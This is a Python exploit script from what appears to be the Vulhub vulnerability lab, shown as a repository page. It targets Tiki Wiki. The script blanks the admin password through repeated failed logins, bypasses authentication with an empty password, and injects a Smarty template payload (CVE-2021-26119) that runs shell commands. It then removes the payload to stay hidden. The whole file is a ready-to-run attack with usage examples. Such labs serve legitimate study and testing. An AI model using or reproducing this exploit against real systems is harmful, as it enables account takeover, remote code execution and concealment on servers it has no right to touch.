Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
84 lines
2.7 KiB
Python
84 lines
2.7 KiB
Python
import requests
|
|
import sys
|
|
import re
|
|
|
|
|
|
def auth_bypass(s, t):
|
|
d = {
|
|
"ticket" : "",
|
|
"user" : "admin",
|
|
"pass" : "trololololol",
|
|
}
|
|
h = { "referer" : t }
|
|
d["ticket"] = get_ticket(s, "%stiki-login.php" % t)
|
|
d["pass"] = "" # blank login
|
|
r = s.post("%stiki-login.php" % t, data=d, headers=h)
|
|
r = s.get("%stiki-admin.php" % t)
|
|
assert ("You do not have the permission that is needed" not in r.text), "(-) authentication bypass failed!"
|
|
|
|
def black_password(s, t):
|
|
uri = "%stiki-login.php" % t
|
|
# setup cookies here
|
|
s.get(uri)
|
|
ticket = get_ticket(s, uri)
|
|
d = {
|
|
'user':'admin',
|
|
'pass':'trololololol',
|
|
}
|
|
# crafted especially so unsuccessful_logins isn't recorded
|
|
for i in range(0, 51):
|
|
r = s.post(uri, d)
|
|
if("Account requires administrator approval." in r.text):
|
|
print("(+) admin password blanked!")
|
|
return
|
|
raise Exception("(-) auth bypass failed!")
|
|
|
|
def get_ticket(s, uri):
|
|
h = { "referer" : uri }
|
|
r = s.get(uri)
|
|
match = re.search('class="ticket" name="ticket" value="(.*)" \/>', r.text)
|
|
assert match, "(-) csrf ticket leak failed!"
|
|
return match.group(1)
|
|
|
|
def trigger_or_patch_ssti(s, t, c=None):
|
|
# CVE-2021-26119
|
|
p = { "page": "look" }
|
|
h = { "referer" : t }
|
|
bypass = "startrce{$smarty.template_object->smarty->disableSecurity()->display('string:{shell_exec(\"%s\")}')}endrce" % c
|
|
d = {
|
|
"ticket" : get_ticket(s, "%stiki-admin.php" % t),
|
|
"feature_custom_html_head_content" : bypass if c else '',
|
|
"lm_preference[]": "feature_custom_html_head_content"
|
|
}
|
|
r = s.post("%stiki-admin.php" % t, params=p, data=d, headers=h)
|
|
r = s.get("%stiki-index.php" % t)
|
|
if c != None:
|
|
assert ("startrce" in r.text and "endrce" in r.text), "(-) rce failed!"
|
|
cmdr = r.text.split("startrce")[1].split("endrce")[0]
|
|
print(cmdr.strip())
|
|
|
|
def main():
|
|
if(len(sys.argv) < 4):
|
|
print("(+) usage: %s <host> <path> <cmd>" % sys.argv[0])
|
|
print("(+) eg: %s 192.168.75.141 / id"% sys.argv[0])
|
|
print("(+) eg: %s 192.168.75.141 /tiki-20.3/ id" % sys.argv[0])
|
|
return
|
|
p = sys.argv[2]
|
|
c = sys.argv[3]
|
|
p = p + "/" if not p.endswith("/") else p
|
|
p = "/" + p if not p.startswith("/") else p
|
|
t = "http://%s%s" % (sys.argv[1], p)
|
|
s = requests.Session()
|
|
print("(+) blanking password...")
|
|
black_password(s, t)
|
|
print("(+) getting a session...")
|
|
auth_bypass(s, t)
|
|
print("(+) auth bypass successful!")
|
|
print("(+) triggering rce...\n")
|
|
# trigger for rce
|
|
trigger_or_patch_ssti(s, t, c)
|
|
# patch so we stay hidden
|
|
trigger_or_patch_ssti(s, t)
|
|
|
|
if __name__ == '__main__':
|
|
main() |